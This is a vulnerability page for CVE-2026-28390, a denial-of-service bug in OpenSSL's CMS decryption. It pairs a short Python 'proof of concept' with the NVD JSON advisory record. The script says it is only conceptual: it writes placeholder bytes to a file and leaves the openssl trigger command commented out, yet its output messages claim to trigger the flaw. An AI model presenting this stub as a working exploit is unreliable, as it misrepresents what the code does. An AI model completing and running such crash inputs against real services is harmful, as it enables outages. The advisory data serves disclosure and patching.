CVE-2026-28390

import os from asn1crypto import cms, core, algos # Generate a malformed CMS EnvelopedData message # This script creates a CMS structure where RSA-OAEP parameters are missing def create_exploit_cms(): # Construct basic CMS EnvelopedData # Note: Real exploitation requires precise ASN.1 crafting # This is a conceptual PoC demonstrating the missing parameter structure. # Create RecipientInfo using KeyTransportRecipientInfo # Algorithm: RSA-OAEP # Missing the 'parameters' field in the algorithm identifier # Simplified demonstration of the malformed data structure # In a real scenario, one would serialize this to DER and send to OpenSSL malformed_algorithm = algos.EncryptionAlgorithm( {'algorithm': 'rsaes_oaep', 'parameters': None} ) # ... (Rest of CMS construction logic would go here) with open('exploit_cms.der', 'wb') as f: # Write dummy data for demonstration # Actual exploit requires valid ASN.1 structure with the specific missing field f.write(b'MALFORMED_CMS_DATA') print("[+] Generated malformed CMS message: exploit_cms.der") print("[+] Triggering OpenSSL decryption...") # Trigger the vulnerability # os.system("openssl cms -decrypt -in exploit_cms.der -inform DER -inkey private.pem") if __name__ == "__main__": create_exploit_cms()

{"cve": {"id": "CVE-2026-28390", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:21.190", "lastModified": "2026-05-12T13:17:33.810", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.2", "versionEndExcluding": "1.0.2zp", "matchCriteriaId": "CE7957CC-80F0-4907-BFB5-AFB6994DDE3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.1", "versionEndExcluding": "1.1.1zg", "matchCriteriaId": "656A0540-5825-498E-A7AB-C14976FEE45D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.20", "matchCriteriaId": "B28A8143-89A4-4332-A1F8-A65FB5AA829F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.7", "matchCriteriaId": "CF303B21-D9BF-461D-B7B0-A3FE1D557A9F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.5", "matchCriteriaId": "DCCE43D0-8F17-475D-9EE6-842F758A9905"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.6", "matchCriteriaId": "F6BC0271-444D-4597-BF05-DC60034EAA49"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.6.2", "matchCriteriaId": "4A9E621D-29D8-418A-BF37-BED333C14507"}]}]}], "references": [{"url": "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://openssl-library.org/news/secadv/20260407.txt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}